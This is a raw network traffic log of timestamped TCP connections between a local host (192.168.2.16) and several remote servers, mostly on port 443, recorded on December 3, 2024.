Dec 3, 2024 09:05:22.518532991 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:22.518559933 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:22.519447088 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:22.519537926 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:22.519949913 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:22.520005941 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:22.520268917 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:22.520277977 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:22.524260998 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.572223902 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:22.593873024 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.593910933 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.593943119 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.593970060 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.593993902 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.594007015 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.594018936 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.602221012 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.602273941 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.602277994 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.602288008 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.602328062 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.610702038 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.619286060 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.619354010 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.619362116 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.667269945 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.714529991 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.763083935 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.763096094 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.808223009 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.808310032 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.808336020 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.818286896 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.818315029 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.818356991 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.818363905 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.818411112 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.826662064 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.835031033 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.835103035 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.835117102 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.843732119 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.843816042 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.843823910 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.852049112 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.852108002 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.852116108 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.859884977 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.859951019 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.859956980 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.866014957 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.866260052 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.866266012 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.873034000 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.873106956 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.873127937 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.887015104 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.887068987 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.887074947 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.894139051 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.894220114 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.894227028 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.894359112 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.894411087 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.894418001 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.894437075 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.894484043 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.894649029 CET	49725	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.894665003 CET	443	49725	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.914309978 CET	49728	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.914334059 CET	443	49728	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.914419889 CET	49728	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.914782047 CET	49728	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:22.914789915 CET	443	49728	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:22.922699928 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.922769070 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.922804117 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.922841072 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.922857046 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.922868967 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.922899961 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.931140900 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.931185961 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.931265116 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.931272984 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.931329966 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.939003944 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.947381973 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.949769974 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:22.949778080 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:22.951986074 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.001250982 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.001250982 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.035635948 CET	49729	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:23.035676003 CET	443	49729	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:23.035775900 CET	49729	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:23.036037922 CET	49729	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:23.036050081 CET	443	49729	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:23.042684078 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.072285891 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.072300911 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.072352886 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.072379112 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.072400093 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.072472095 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.072504997 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.072540045 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.072577000 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.097297907 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.097321987 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.114301920 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.114908934 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.114928007 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.119710922 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.119784117 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.119796991 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.128367901 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.128442049 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.128453970 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.135755062 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.135817051 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.135826111 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.151729107 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.151762962 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.151799917 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.151815891 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.151870012 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.159620047 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.167571068 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.167640924 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.167655945 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.175713062 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.175780058 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.175789118 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.183720112 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.183795929 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.183806896 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.185298920 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.185312033 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.185353994 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.185391903 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.185406923 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.185467005 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.185491085 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.190994978 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.191222906 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.191231012 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.198333025 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.198405027 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.198412895 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.212649107 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.212698936 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.212750912 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.212762117 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.212802887 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.212809086 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.212855101 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.213043928 CET	49726	443	192.168.2.16	104.17.25.14
Dec 3, 2024 09:05:23.213058949 CET	443	49726	104.17.25.14	192.168.2.16
Dec 3, 2024 09:05:23.225670099 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.225686073 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.225778103 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.225807905 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.225847960 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.352188110 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.352205038 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.352318048 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.352340937 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.352380037 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.379978895 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.379997015 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.380086899 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.380094051 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.380131960 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.391491890 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.391567945 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.391581059 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.391622066 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.391916990 CET	49727	443	192.168.2.16	151.101.2.137
Dec 3, 2024 09:05:23.391931057 CET	443	49727	151.101.2.137	192.168.2.16
Dec 3, 2024 09:05:23.639744997 CET	49729	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:23.639897108 CET	49728	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:23.639957905 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:23.640072107 CET	443	49719	142.250.181.100	192.168.2.16
Dec 3, 2024 09:05:23.640151024 CET	49719	443	192.168.2.16	142.250.181.100
Dec 3, 2024 09:05:23.687329054 CET	443	49729	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:23.687329054 CET	443	49728	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:24.170523882 CET	443	49728	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:24.170640945 CET	443	49728	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:24.170820951 CET	49728	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:24.170820951 CET	49728	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:24.336725950 CET	443	49729	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:24.336805105 CET	49729	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:25.455260038 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:30.587280989 CET	49678	443	192.168.2.16	20.189.173.10
Dec 3, 2024 09:05:35.064335108 CET	49680	80	192.168.2.16	192.229.211.108
Dec 3, 2024 09:05:47.916603088 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:47.916646004 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:47.916732073 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:47.917232037 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:47.917239904 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:49.730386019 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:49.730515957 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:49.732424974 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:49.732436895 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:49.732733965 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:49.737972975 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:49.783337116 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.450814962 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.450845957 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.450861931 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.450926065 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.450951099 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.451008081 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.495563030 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.495609999 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.495654106 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.495662928 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.495675087 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.495703936 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.495836020 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.495851040 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:50.495884895 CET	49730	443	192.168.2.16	52.149.20.212
Dec 3, 2024 09:05:50.495891094 CET	443	49730	52.149.20.212	192.168.2.16
Dec 3, 2024 09:05:53.269558907 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:53.269584894 CET	443	49735	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:53.269659996 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:53.269957066 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:53.269968033 CET	443	49735	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:54.573991060 CET	443	49735	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:54.574482918 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.574506044 CET	443	49735	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:54.575584888 CET	443	49735	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:54.575670958 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.577960014 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.577985048 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.578022957 CET	443	49735	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:54.578071117 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.578094959 CET	49735	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.578525066 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.578567982 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:54.578634024 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.578876019 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:54.578891039 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:55.789230108 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:55.789578915 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:55.789597988 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:55.790602922 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:55.790663958 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:55.791621923 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:55.791675091 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:55.791874886 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:55.791884899 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:55.840353012 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.577419043 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.577518940 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.577553988 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.577575922 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.577598095 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.577641964 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.577653885 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.577688932 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.577730894 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.577737093 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.585521936 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.585596085 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.585606098 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.602325916 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.602410078 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.602421045 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.654371977 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.697962046 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.750366926 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.796597004 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.800441980 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.800518036 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.800534010 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.808161974 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.808248043 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.808258057 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.808284044 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.808340073 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.808543921 CET	49736	443	192.168.2.16	104.21.7.52
Dec 3, 2024 09:05:56.808562040 CET	443	49736	104.21.7.52	192.168.2.16
Dec 3, 2024 09:05:56.989418030 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:56.989455938 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:56.989532948 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:56.989784956 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:56.989804029 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:57.023627996 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:57.023669958 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:57.023739100 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:57.024014950 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:57.024028063 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:57.987646103 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:57.987690926 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:57.987767935 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:57.988040924 CET	49740	443	192.168.2.16	216.58.208.228
Dec 3, 2024 09:05:57.988058090 CET	443	49740	216.58.208.228	192.168.2.16
Dec 3, 2024 09:05:58.246656895 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.247010946 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.247036934 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.248049021 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.248220921 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.249185085 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.249250889 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.249387026 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.249394894 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.280342102 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.280613899 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.280642033 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.281682968 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.281860113 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.282038927 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.282098055 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.282195091 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.282201052 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.299364090 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.331496000 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.708539963 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.708590031 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.708625078 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.708642006 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.708666086 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.708707094 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.708719015 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.717375994 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.717434883 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.717442989 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.725384951 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.725439072 CET	49738	443	192.168.2.16	104.18.94.41
Dec 3, 2024 09:05:58.725446939 CET	443	49738	104.18.94.41	192.168.2.16
Dec 3, 2024 09:05:58.731035948 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.731131077 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.731157064 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.731182098 CET	49739	443	192.168.2.16	104.18.95.41
Dec 3, 2024 09:05:58.731187105 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.731200933 CET	443	49739	104.18.95.41	192.168.2.16
Dec 3, 2024 09:05:58.731232882 CET	49739	443	192.168.2.16	104.18.95.41
